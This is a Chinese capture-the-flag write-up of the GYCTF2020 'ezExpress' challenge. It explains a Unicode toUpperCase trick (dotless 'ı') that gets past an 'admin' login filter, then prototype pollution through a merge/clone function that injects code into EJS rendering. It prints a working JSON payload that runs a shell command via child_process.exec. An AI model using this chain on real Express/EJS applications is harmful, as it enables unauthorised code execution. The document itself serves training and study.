0%

[GYCTF2020]ezExpress

[GYCTF2020]ezExpress

又是一个js题,原型链污染和toUppercase,最后发现居然还有express框架的SSTI
源码在www.zip下
主要逻辑是/route/index.js

源码

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

.......

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/');
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

上来就自己定义了一个clone函数,怎么看怎么原型链污染,题目意图非常明显,而看到login,首先不允许你是admin,又需要你用admin登录,没找到源码的时候题目有说只支持大写用户名就能猜到是怎么回事了,用一个奇怪的字符绕过一下就好

题解

用特殊字符绕过当做admin登录进去
admin登录进去之后,这里action路由调用clone函数,超级明显原型链污染,然后info路由又调用一个不存在的outputFunctionName属性,但是还是看不出来该怎么利用,搜出来的payload基本上都是如下形式
{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/flag');var _tmp2"}}

outputFunctionName前面拼起来了一个_tmp1,看起来像是闭合一个var一样,而就算我把object中添加一个这样的属性,就能自动调用函数了吗?显然不行,但是关于这个题的wp都没有说到这个payload是怎么一回事,几经周折才知道这个点的原型是Xnuca2019中的一道hardjs,返回使用的模板渲染函数res.render()存在SSTI,而其中存在这样一段代码

......
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
......

将opts.outputFunctionName拼接到了语句中,而上下文并未出现outputFunctionName这个属性,因此通过污染原型链来在此处进行SSTI,拼接的前面有一个var,而后面有一个__append,这就是payload前后拼接了奇怪内容的原因

所以render函数那里传入的那个outputFunctionName的参数其实并无意义,可能只是为了提示老赛棍是这个js的模板注入吧(可惜我完全不知道这回事)
express的SSTI可以看之前XNUCA的wp
https://www.jianshu.com/p/8e8da988894f

坑点

自己试的时候用α代替a试了一下发现登录进去用户名的确是ADMIN,但是事实上又不是admin,在console里面试了一下α转换成大写之后虽然看起来和A一模一样但是就是不是一个东西。。。
最后还是用的先知的js中toUppercase里面的特殊字符ı替代了i登录进去的

content-type一定要记得写成application/json….我之前application少打一个p试了半天打不动不知道怎么回事
访问info可以看到自己打进去的outputFunctionName的值,但是并不会显示执行结果,想弹shell半天没成功,估计是buu后来全部靶机都不能访问外网了吧,最后看的大佬wp,输入不存在路由通过报错找到绝对路径,然后把flag写入public静态目录下面,访问直接/flag下载下来

像python,JavaScript这类通过路由设置服务的方式和PHP访问对应文件就有一定的区别,设置了路由的情况下,就不会出现部分文件暴露在网站根目录被访问的情况,像PHP的话可以直接把flag写到网站根目录里面去直接访问获得,不过,他们也有对应的静态目录,静态目录下的文件就可以被直接访问,源码中app.js设置了静态目录app.use(express.static(path.join(\_\_dirname, 'public')));这个设置直接在静态目录下查找文件,因此访问时无需在url中添加public目录
所以public下的内容可以被直接访问,通过把flag写到静态目录下也可以直接访问获得